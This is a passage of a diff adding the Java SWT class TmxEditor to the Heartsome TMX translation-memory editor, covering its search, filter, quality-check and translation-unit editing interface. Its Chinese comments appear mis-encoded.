net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.sourceforge.nattable.edit.editor.ICellEditor; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.FillLayout; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.TabFolder; +import org.eclipse.swt.widgets.TabItem; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.actions.ActionFactory; + +/** + * TmxEditor 编辑器的 viewer 层,编辑器的接å£ç‚¹ã€‚包括界é¢çš„åˆå§‹åŒ–, nattable 的创建等。 + * @author Jason, Robert + * @version + * @since JDK1.6 + */ +public class TmxEditor { + + private Composite parentComposite; + private AbstractTmxDataAccess tmxDataAccess; + /** 当å‰æºè¯­è¨€ */ + private String srcLangCode; + /** 当å‰ç›®æ ‡è¯­è¨€ */ + private String tgtLangCode; + + private TmxEditorFilter editorFilter; + private Combo srcLangCombo; + private Combo tgtLangCombo; + private Text srcSearchText; + private Text tgtSearchText; + private String tgtSearchTitle = Messages.getString("tmxeditor.filter.targetSearchText.label"); + private String srcSearchTitle = Messages.getString("tmxeditor.filter.sourceSearchText.label"); + + private TmxEditorImpWithNattable tmxEditorImpWithNattable; + private TmxEditorViewer viewPart; + + private FindReplaceAction findAction = new FindReplaceAction(); + private FindReplaceDialog dialog; + + private KeyListener searchKeyListener = new KeyListener() { + + @Override + public void keyReleased(KeyEvent e) { + if (e.stateMask == SWT.NONE && e.keyCode == SWT.CR) { + commit(); + editorFilter.comboViewer.getCombo().select(0); + beginToSeach(); + } + } + + @Override + public void keyPressed(KeyEvent e) { + } + }; + + public TmxEditor(AbstractTmxDataAccess tmxDataAccess) { + this.tmxDataAccess = tmxDataAccess; + this.srcLangCode = tmxDataAccess.getCurrSrcLang(); + this.tgtLangCode = tmxDataAccess.getCurrTgtLang(); + } + + public void createContent(TmxEditorViewer viewPart, Composite container) { + this.parentComposite = container; + this.viewPart = viewPart; + GridLayout containerGdLt = new GridLayout(1, true); + containerGdLt.marginWidth = 0; + containerGdLt.marginHeight = 0; + containerGdLt.verticalSpacing = 5; + containerGdLt.marginTop = 0; + containerGdLt.marginLeft = 0; + containerGdLt.marginRight = 0; + container.setLayout(containerGdLt); + + // tab 设置,分为数æ®æŸ¥è¯¢ä»¥åŠå“质检查 + TabFolder tab = new TabFolder(container, SWT.NONE); + tab.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + TabItem editorItm = new TabItem(tab, SWT.NONE); + editorItm.setText(Messages.getString("tmxeditor.filter.editor")); + + TabItem qaItm = new TabItem(tab, SWT.NONE); + qaItm.setText(Messages.getString("tmxeditor.filter.qa")); + + Composite editorCmp = new Composite(tab, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(editorCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(editorCmp); + createEditorArea(editorCmp); + editorItm.setControl(editorCmp); + + Composite qaCmp = new Composite(tab, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(qaCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(qaCmp); + createQaArea(qaCmp); + qaItm.setControl(qaCmp); + + // create nattable composite + Composite nattableComposite = new Composite(container, SWT.NONE); + nattableComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 2, 1)); + createNattable(nattableComposite, srcLangCode, tgtLangCode); + } + + private void createEditorArea(Composite editorCmp) { + Group searchGroup = new Group(editorCmp, SWT.NONE); + searchGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + searchGroup.setText(Messages.getString("tmxeditor.fitler.searchGroup")); + searchGroup.setLayout(new GridLayout(4, false)); + + // create language + createLangUI(searchGroup); + + Group filterGroup = new Group(editorCmp, SWT.NONE); + filterGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + filterGroup.setText(Messages.getString("tmxeditor.filter.fitlerGroup")); + GridLayout filterGroupGl = new GridLayout(1, false); + filterGroupGl.marginWidth = 0; + filterGroupGl.marginHeight = 0; + filterGroup.setLayout(filterGroupGl); + + // create Filter + createTmxFilter(filterGroup); + } + + /** + * å“质检查选项é¢æ¿ --robert 2013-09-17 + * @param qaCmp + * ; + */ + private void createQaArea(Composite qaCmp) { + final IPreferenceStore store = net.heartsome.cat.te.core.Activator.getDefault().getPreferenceStore(); + + // >左边 + Group itemsGroup = new Group(qaCmp, SWT.NONE); + itemsGroup.setText(Messages.getString("tmxeditor.QA.itemGroupTitle")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(itemsGroup); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(itemsGroup); + + // >>第一层 composite + Composite qaItemCmp = new Composite(itemsGroup, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(qaItemCmp); + + GridLayoutFactory.fillDefaults().numColumns(3).spacing(SWT.DEFAULT, LayoutConstants.getSpacing().y - 4).margins(0, 0).applyTo(qaItemCmp); + // >>>第一层 第一行 + final Button tagConsistenceBtn = new Button(qaItemCmp, SWT.CHECK); + tagConsistenceBtn.setText(QAConstant.QA_TagConsistenceText); + + final Button numberConsistenceBtn = new Button(qaItemCmp, SWT.CHECK); + numberConsistenceBtn.setText(QAConstant.QA_NumberConsistenceText); + + final Button spaceOfParaCheckBtn = new Button(qaItemCmp, SWT.CHECK); + spaceOfParaCheckBtn.setText(QAConstant.QA_SpaceOfParaCheckText); + + // >>>第一层 第二行 + final Button tgtNullBtn = new Button(qaItemCmp, SWT.CHECK); + tgtNullBtn.setText(QAConstant.QA_TgtNullText); + + final Button srcSameButTgtBtn = new Button(qaItemCmp, SWT.CHECK); + srcSameButTgtBtn.setText(QAConstant.QA_SrcSameButTgtText); + + final Button tgtSameButSrcBtn = new Button(qaItemCmp, SWT.CHECK); + tgtSameButSrcBtn.setText(QAConstant.QA_TgtSameButSrcText); + + // >>>第一层 第三行 + final Button srcSameWithTgtBtn = new Button(qaItemCmp, SWT.CHECK); + srcSameWithTgtBtn.setText(QAConstant.QA_SrcSameWithTgtText); + + new Label(qaItemCmp, SWT.NONE); + new Label(qaItemCmp, SWT.NONE); + + // >>第二层 + Composite qaBtnCmp = new Composite(itemsGroup, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.LEFT, SWT.FILL).grab(false, true).applyTo(qaBtnCmp); + GridLayoutFactory.fillDefaults().numColumns(1).margins(0, 0).applyTo(qaBtnCmp); + + final Button qaBtn = new Button(qaBtnCmp, SWT.NONE); + qaBtn.setLayoutData(new GridData(SWT.LEFT, SWT.END, false, true)); + qaBtn.setText(Messages.getString("tmxeditor.QA.qaExcuteBtnTitle")); + // UNDO 这里因为还没有åšã€€æ•°æ®åº“的 qa,因此,当打开数æ®åº“时,qa 的按钮设置ä¸å¯ç”¨çŠ¶æ€ --robert 2013-10-15 + if (tmxDataAccess instanceof TmxLargeFileDataAccess) { + qaBtn.setEnabled(true); + } else { + qaBtn.setEnabled(false); + } + + qaBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + // 先将选择的值ä¿å­˜è‡³ç¼“存中。å†æ‰§è¡Œå“质检查 + StringBuffer useableQAItemSB = new StringBuffer(); + if (tagConsistenceBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_TagConsistence).append(";"); + } + if (numberConsistenceBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_NumberConsistence).append(";"); + } + if (spaceOfParaCheckBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_SpaceOfParaCheck).append(";"); + } + if (tgtNullBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_TgtNull).append(";"); + } + if (srcSameWithTgtBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_SrcSameWithTgt).append(";"); + } + if (srcSameButTgtBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_SrcSameButTgt).append(";"); + } + if (tgtSameButSrcBtn.getSelection()) { + useableQAItemSB.append(QAConstant.QA_TgtSameButSrc).append(";"); + } + store.setValue(QAConstant.PREF_useableQAItemStr, useableQAItemSB.toString()); + + if (useableQAItemSB.length() <= 0) { + OpenMessageUtils.openMessage(IStatus.INFO, Messages.getString("tmxeditor.tmxeditor.qaItemNull")); + return; + } + commit(); + tmxDataAccess.beginQA(srcLangCode, tgtLangCode, true, true); + + } + }); + + // >å³è¾¹ + Group operateGroup = new Group(qaCmp, SWT.NONE); + operateGroup.setText(Messages.getString("tmxeditor.QA.operateGroupTitle")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(operateGroup); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(operateGroup); + + // >>第一行, 这两个忽略项。跟 过滤查询的ä¿æŒå‚数一致。 + final Button ignoreCaseBtn = new Button(operateGroup, SWT.CHECK); + ignoreCaseBtn.setText(Messages.getString("tmxeditor.QA.igoureCaceBtnTitle")); + ignoreCaseBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreCaseBtn.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreCase, ignoreCaseBtn.getSelection()); + } + + @Override + public void widgetDefaultSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreCase, ignoreCaseBtn.getSelection()); + } + }); + + final Button ignoreTagBtn = new Button(operateGroup, SWT.CHECK); + ignoreTagBtn.setText(Messages.getString("tmxeditor.QA.ignoreTagBtnTitle")); + ignoreTagBtn.setToolTipText(Messages.getString("tmxeditor.QA.ignoreTagBtnToolTip")); + ignoreTagBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + ignoreTagBtn.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreTag, ignoreTagBtn.getSelection()); + } + + @Override + public void widgetDefaultSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreTag, ignoreTagBtn.getSelection()); + } + }); + + // ç»™å“质检查所有选项设置值 + List itemsArray = QACommonFuction.getUseableQAItems(); + + tagConsistenceBtn.setSelection(itemsArray.contains(QAConstant.QA_TagConsistence)); + numberConsistenceBtn.setSelection(itemsArray.contains(QAConstant.QA_NumberConsistence)); + spaceOfParaCheckBtn.setSelection(itemsArray.contains(QAConstant.QA_SpaceOfParaCheck)); + tgtNullBtn.setSelection(itemsArray.contains(QAConstant.QA_TgtNull)); + srcSameWithTgtBtn.setSelection(itemsArray.contains(QAConstant.QA_SrcSameWithTgt)); + srcSameButTgtBtn.setSelection(itemsArray.contains(QAConstant.QA_SrcSameButTgt)); + tgtSameButSrcBtn.setSelection(itemsArray.contains(QAConstant.QA_TgtSameButSrc)); + + // 当切æ¢ã€€tabfolder 时,给两个忽略项设置动æ€å˜åŒ–,因为 qa 与过滤器共用一套过滤å‚数。 + final TabFolder tab = (TabFolder) (qaCmp.getParent()); + tab.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + if (tab.getSelectionIndex() == 1) { + ignoreCaseBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreTagBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + } + } + + @Override + public void widgetDefaultSelected(SelectionEvent e) { + if (tab.getSelectionIndex() == 1) { + ignoreCaseBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreTagBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + } + } + }); + } + + /** + * 如果srcLang为null,则说明当å‰ç¼–辑的对象是无æºè¯­è¨€çš„TMX文件或者是TMXDB,
    + * 需è¦æ ¹æ®ç›®æ ‡è¯­è¨€æ¥åˆå§‹åŒ–æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€é€‰æ‹©ç»„件。
    + * 需è¦åˆå§‹åŒ–{@link this#srcLangCode} å’Œ {@link this#tgtLangCode} + * @param srcLang + * @param tgtLang + **/ + private void createLangUI(Composite container) { + // æ‰€æœ‰è¯­è¨€çš„é›†åˆ + List allLangList = new LinkedList(); + allLangList.add(srcLangCode); + allLangList.addAll(tmxDataAccess.getLangList()); + + Label srcLangLabel = new Label(container, SWT.NONE); + srcLangLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + srcLangLabel.setText(Messages.getString("tmxeditor.filter.srcLang")); + + srcLangCombo = new Combo(container, SWT.READ_ONLY); + GridData srcLangCombgd = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + srcLangCombgd.widthHint = 80; + srcLangCombo.setLayoutData(srcLangCombgd); + srcLangCombo.setItems(allLangList.toArray(new String[] {})); + srcLangCombo.select(allLangList.indexOf(srcLangCode)); + + srcSearchText = new Text(container, SWT.BORDER); + srcSearchText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + new Label(container, SWT.NONE); + + Label tgtLangLabel = new Label(container, SWT.NONE); + tgtLangLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + tgtLangLabel.setText(Messages.getString("tmxeditor.filter.tgtLang")); + + tgtLangCombo = new Combo(container, SWT.READ_ONLY); + tgtLangCombo.setLayoutData(srcLangCombgd); + tgtLangCombo.setItems(allLangList.toArray(new String[] {})); + tgtLangCombo.select(allLangList.indexOf(tgtLangCode)); + + tgtSearchText = new Text(container, SWT.BORDER); + tgtSearchText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + srcSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + srcSearchText.setText(srcSearchTitle); + srcSearchText.addKeyListener(searchKeyListener); + srcSearchText.addFocusListener(new FocusAdapter() { + @Override + public void focusGained(FocusEvent e) { + Text text = (Text) e.widget; + if (srcSearchTitle.equals(text.getText())) { + text.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLACK)); + text.setText(""); + } + } + + @Override + public void focusLost(FocusEvent e) { + Text text = (Text) e.widget; + if ("".equals(text.getText())) { + text.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + text.setText(srcSearchTitle); + } + } + }); + + Button searchBtn = new Button(container, SWT.NONE); + GridData gd_button = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gd_button.widthHint = 70; + searchBtn.setLayoutData(gd_button); + searchBtn.setText(Messages.getString("tmxeditor.filter.searchBtn")); + searchBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editorFilter.comboViewer.getCombo().select(0); + beginToSeach(); + } + }); + + tgtSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + tgtSearchText.setText(tgtSearchTitle); + tgtSearchText.addKeyListener(searchKeyListener); + tgtSearchText.addFocusListener(new FocusAdapter() { + @Override + public void focusGained(FocusEvent e) { + Text text = (Text) e.widget; + if (tgtSearchTitle.equals(text.getText())) { + text.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLACK)); + text.setText(""); + } + } + + @Override + public void focusLost(FocusEvent e) { + Text text = (Text) e.widget; + if ("".equals(text.getText())) { + text.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + text.setText(tgtSearchTitle); + } + } + }); + } + + private TmxEditorFilter createTmxFilter(Composite container) { + editorFilter = new TmxEditorFilter(); + editorFilter.createFilterUI(container); + editorFilter.comboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + @Override + public void selectionChanged(SelectionChangedEvent event) { + tgtSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + tgtSearchText.setText(tgtSearchTitle); + srcSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_GRAY)); + srcSearchText.setText(srcSearchTitle); + beginToSeach(); + } + }); + return null; + } + + /** + * 当å“质检查结果视图中åŒå‡»æŸè¡Œå®šä½ä¹‹å‰ï¼Œå…ˆå°†æ‰€æœ‰è¿‡æ»¤æŸ¥è¯¢æ•°æ®æ¸…空,并让过滤æ¡ä»¶é‡ç½®ä¸ºæ‰€æœ‰æ–‡æœ¬æ®µçš„选项。 --robert 2013-10-10 + */ + public void resetFilterBeforLocation(String srcLang, String tgtLang) { + srcLangCombo.select(Arrays.asList(srcLangCombo.getItems()).indexOf(srcLang)); + tgtLangCombo.select(Arrays.asList(tgtLangCombo.getItems()).indexOf(tgtLang)); + tgtSearchText.setText(""); + srcSearchText.setText(""); + editorFilter.comboViewer.getCombo().select(0); + beginToSeach(); + } + + /** + * 开始查询 + */ + public void beginToSeach() { + String srcLang = srcLangCombo.getText(); + String tgtLang = tgtLangCombo.getText(); + if (srcLang.equals(tgtLang)) { + OpenMessageUtils.openMessage(IStatus.WARNING, Messages.getString("tmxeditor.tmxeditor.warn.msg1")); + return; + } + + srcLangCode = srcLang; + tgtLangCode = tgtLang; + doFilter(editorFilter.getCurrentFilter()); + } + + private void doFilter(final TmxEditorFilterBean filter) { + TeActiveCellEditor.commit(); + final String srcSearchStr = getSearchText(srcSearchText); + final String tgtSearchStr = getSearchText(tgtSearchText); + IRunnableWithProgress progress = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + tmxDataAccess.loadDisplayTuIdentifierByFilter(monitor, filter, srcLangCode, tgtLangCode, srcSearchStr, + tgtSearchStr); + } + }; + try { + new ProgressMonitorDialog(Display.getDefault().getActiveShell()).run(true, true, progress); + } catch (Exception e) { + e.printStackTrace(); + } + tmxEditorImpWithNattable.setSrcSearchStr(srcSearchStr); + tmxEditorImpWithNattable.setTgtSearchStr(tgtSearchStr); + tmxEditorImpWithNattable.getTable().setFocus(); + tmxEditorImpWithNattable.refrush(); + tmxEditorImpWithNattable.selectCell(getTgtColumnIndex(), 0); + } + + private String getSearchText(Text searchTextWidget) { + String text = searchTextWidget.getText(); + if (text == null || text.equals(tgtSearchTitle) || text.equals(srcSearchTitle)) { + return ""; + } + return text; + } + + private void createNattable(Composite container, String srcLang, String tgtLang) { + container.setLayout(new FillLayout()); + tmxEditorImpWithNattable = new TmxEditorImpWithNattable(tmxDataAccess); + tmxEditorImpWithNattable.createContents(container); + tmxEditorImpWithNattable.getTable().addFocusListener(new FocusListener() { + + @Override + public void focusLost(FocusEvent e) { + } + + @Override + public void focusGained(FocusEvent e) { + TmxEditor.this.viewPart.getViewSite().getActionBars() + .setGlobalActionHandler(ActionFactory.FIND.getId(), findAction); + findAction.updateEnabledState(); + } + }); + // å°† TmxEidotrImpWithNattable æ供的选择事件æ供器注册给 viewer + if (viewPart != null) { + viewPart.getSite().setSelectionProvider(tmxEditorImpWithNattable.getSelectionProvider()); + } + } + + public void saveAs() { + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + commit(); + } + }); + ExportDialog dlg = new ExportDialog(parentComposite.getShell(), this); + dlg.open(); + } + + public void save(IProgressMonitor monitor) throws Exception { + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + commit(); + } + }); + tmxDataAccess.save(monitor); + tmxDataAccess.setDirty(false); + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + tmxEditorImpWithNattable.redraw(); + tmxEditorImpWithNattable.refreshSelectionedRow(); + } + }); + } + + public boolean isDirty() { + if (tmxDataAccess != null) { + return tmxDataAccess.isDirty(); + } + return false; + } + + public boolean closeTmxEditor() { + commit(); + int _choice = -1; + if (isDirty() || tmxDataAccess.isSourceExist()) { + String message = Messages.getString("tmxeditor.tmxeditor.savechangs"); + String[] buttons = new String[] { IDialogConstants.YES_LABEL, IDialogConstants.NO_LABEL, + IDialogConstants.CANCEL_LABEL }; + MessageDialog d = new MessageDialog(parentComposite.getShell(), + Messages.getString("tmxeditor.all.dialog.info"), null, message, MessageDialog.QUESTION, buttons, 0) { + protected int getShellStyle() { + return super.getShellStyle() | SWT.SHEET; + } + }; + _choice = d.open(); + } + if (_choice == 2) { + return false; + } + final int choice = _choice; + final String[] msgs = new String[1]; + IRunnableWithProgress r = new IRunnableWithProgress() { + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.beginTask(Messages.getString("tmxeditor.tmxEditorViewer.savelabel"), 1); + try { + if (choice == 0) { + tmxDataAccess.save(monitor); + } + tmxDataAccess.closeTmxDataAccess(new SubProgressMonitor(monitor, 1)); + } catch (Exception e) { + msgs[0] = e.getMessage(); + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(Display.getDefault().getActiveShell()).run(true, true, r); + } catch (Exception e) { + e.printStackTrace(); + } + if (msgs[0] != null) { + String msg = Messages.getString("tmxeditor.tmxeditor.savefailmsg"); + msg = MessageFormat.format(msg, msgs[0]); + if (!OpenMessageUtils.openConfirmMessage(msg)) { + return false; + } + } + // 关闭时移除选择事件æ供器 + if (viewPart != null) { + viewPart.getSite().setSelectionProvider(null); + } + tmxEditorImpWithNattable.dispose(); + tmxEditorImpWithNattable = null; + this.tmxDataAccess = null; + if (dialog != null) { + dialog.close(); + } + findAction.updateEnabledState(); + return true; + } + + public void refreshUI() { + if (tmxEditorImpWithNattable != null) { + tmxEditorImpWithNattable.refrush(); + } + } + + /** + * æ ¹æ® TmxDataAccess 中现有的数æ®ï¼Œä»Žæ–°åˆ›å»ºç•Œé¢ï¼ŒåŒ…括过滤é¢æ¿å’Œç¼–辑器 ; + */ + public void reCreateUI() { + if (this.parentComposite != null && !this.parentComposite.isDisposed() && this.viewPart != null) { + int index = editorFilter.comboViewer.getCombo().getSelectionIndex(); + String srcText = getSearchText(srcSearchText); + String tgtText = getSearchText(tgtSearchText); + Control[] childs = this.parentComposite.getChildren(); + for (Control c : childs) { + if (c != null && !c.isDisposed()) { + c.dispose(); + } + } + this.srcLangCode = tmxDataAccess.getCurrSrcLang(); + this.tgtLangCode = tmxDataAccess.getCurrTgtLang(); + createContent(viewPart, parentComposite); + if (srcText.length() != 0) { + srcSearchText.setText(srcText); + srcSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLACK)); + } + if (tgtText.length() != 0) { + tgtSearchText.setText(tgtText); + srcSearchText.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLACK)); + } + editorFilter.comboViewer.getCombo().select(index); + viewPart.notifyOpenEvent(tmxDataAccess); + this.parentComposite.pack(); + this.parentComposite.layout(); + this.parentComposite.getParent().layout(); + } + } + + /** + * é‡ç½®è¿‡æ»¤å™¨ ; + */ + public void resetFileter() { + editorFilter.comboViewer.getCombo().select(0); + } + + public void addTu(TmxTU tu) { + int[] rows = tmxEditorImpWithNattable.getSelectedRows(); + int selRow = 0; + if (rows.length != 0) { + selRow = rows[0]; + } + List disTuIds = tmxDataAccess.getDisplayTuIdentifiers(); + String tuIdentifer = null; + if (disTuIds.size() != 0) { + tuIdentifer = disTuIds.get(selRow); + } + commit(); + String id = tmxDataAccess.addTu(tu, tuIdentifer); + if (id != null) { + int currRow = selRow; + if (tuIdentifer == null || tmxDataAccess instanceof DatabaseDataAccess) { + disTuIds.add(id); + currRow = disTuIds.size() - 1; + } else { + disTuIds.add(currRow, id); + } + tmxEditorImpWithNattable.refrush(); + tmxEditorImpWithNattable.selectCell(getSrcColumnIndex(), currRow); + tmxEditorImpWithNattable.resizeRowsHeight(); + tmxEditorImpWithNattable.editSelectedCell(); + tmxDataAccess.setDirty(true); + } + } + + public void deleteSelectedTu() { + int[] rows = tmxEditorImpWithNattable.getSelectedRows(); + if (rows.length == 0) { + return; + } + Arrays.sort(rows); + List disTuIds = tmxDataAccess.getDisplayTuIdentifiers(); + if (disTuIds.size() == 0) { + return; + } + String[] selTuIds = new String[rows.length]; + for (int i = 0; i < selTuIds.length; i++) { + selTuIds[i] = disTuIds.get(rows[i]); + } + TeActiveCellEditor.close(); + tmxDataAccess.deleteTus(selTuIds, null); + int firstRow = rows[0]; + int j = 0; + for (int r : rows) { + disTuIds.remove(r - j); + j++; + } + refreshUI(); + while (firstRow > -1) { + if (disTuIds.size() > firstRow) { + tmxEditorImpWithNattable.selectCell(getTgtColumnIndex(), firstRow); + tmxEditorImpWithNattable.resizeRowsHeight(); + tmxEditorImpWithNattable.editSelectedCell(); + break; + } + firstRow--; + } + tmxDataAccess.setDirty(true); + } + + /** + * 支æŒè¿›åº¦æ¡æ˜¾ç¤ºçš„清除内部标记 + * @author Austen + * @param monitor + * ; + */ + public void cleartInnerTag(IProgressMonitor monitor) { + + monitor.beginTask(Messages.getString("tmxeditor.tmxeditor.deleteIngerTag.taskName"), 5); + int total = tmxDataAccess.getDisplayTuIdentifiers().size(); + int step = total > 500 ? (total / 500) + 1 : 1; + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 5); + subMonitor.beginTask("", total > 500 ? 500 : total); + + List cleanList = new LinkedList(); + TmxTU tu = null; + int i = 0; + for (String identifier : tmxDataAccess.getDisplayTuIdentifiers()) { + tu = tmxDataAccess.getTuByIdentifier(identifier); + if (tu.getSource() != null) { + if (tu.getSource().getFullText().length() != tu.getSource().getPureText().length()) { + cleanList.add(identifier); + } + } + try { + tu.getSegments().get(0).getAttributes(); + + } catch (NullPointerException e) { + System.out.println(identifier); + } + if (i++ % step == 0) { + subMonitor.worked(1); + } + } + subMonitor.done(); + monitor.done(); + } + + public List getSplitePoints() { + return null; + } + + public TmxPropertiesBean getTmxProperties(boolean isReload) { + return tmxDataAccess.loadTmxProperties(); + } + + /** + * 删除é‡å¤çš„TU,原文和译文相åŒã€‚删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV ; + */ + public void cleartDuplicatedTU(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + boolean deleteTgtEmpty = tmxDataAccess.deleteDupaicate(monitor, ignoreTag, ignoreCase); + if (!tmxDataAccess.isDirty()) { + tmxDataAccess.setDirty(deleteTgtEmpty); + } + + } + + /** + * 删除空的TU,是指将当å‰è¿‡æ»¤ç»“果中译文为空串的TUV删除,删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV ; + */ + public void clearEmptyTU(IProgressMonitor monitor,boolean ignoreTag) { + boolean deleteTgtEmpty = tmxDataAccess.deleteTgtEmpty(monitor,ignoreTag); + if (!tmxDataAccess.isDirty()) { + tmxDataAccess.setDirty(deleteTgtEmpty); + } + + } + + /** + * 删除相åŒåŽŸæ–‡ä¸åŒè¯‘文的TU,删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV ; + * @param monitor + * @param ignoreTag + */ + public void cleartDuplicatedSrcDiffTgtTU(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + boolean deleteTgtEmpty = tmxDataAccess.deleteSameSrcDiffTgt(monitor, ignoreTag, ignoreCase); + if (!tmxDataAccess.isDirty()) { + tmxDataAccess.setDirty(deleteTgtEmpty); + } + } + + public void clearEndsSpaces(IProgressMonitor monitor ) { + boolean deleteTgtEmpty = tmxDataAccess.deleteEndsSpaces(monitor); + if (!tmxDataAccess.isDirty()) { + tmxDataAccess.setDirty(deleteTgtEmpty); + } + } + + /** + * 始终é‡æ–°åŠ è½½åŽå°æ•°æ® + * @param monitor + * @param reFreshUI + * ; :是å¦åˆ·æ–°å‰å°ç•Œé¢ï¼Œ + */ + public void loadDataAndReFreshUI(final IProgressMonitor monitor, final boolean reFreshUI) { + final String srcSearchStr = getSearchText(srcSearchText); + final String tgtSearchStr = getSearchText(tgtSearchText); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + tmxDataAccess.loadDisplayTuIdentifierByFilter(monitor, editorFilter.getCurrentFilter(), srcLangCode, + tgtLangCode, srcSearchStr, tgtSearchStr); + if (reFreshUI) { + tmxEditorImpWithNattable.refrush(); + // tmxEditorImpWithNattable.selectCell(getTgtColumnIndex(), 0); + } + } + }); + } + + public AbstractTmxDataAccess getTmxDataAccess() { + return this.tmxDataAccess; + } + + public 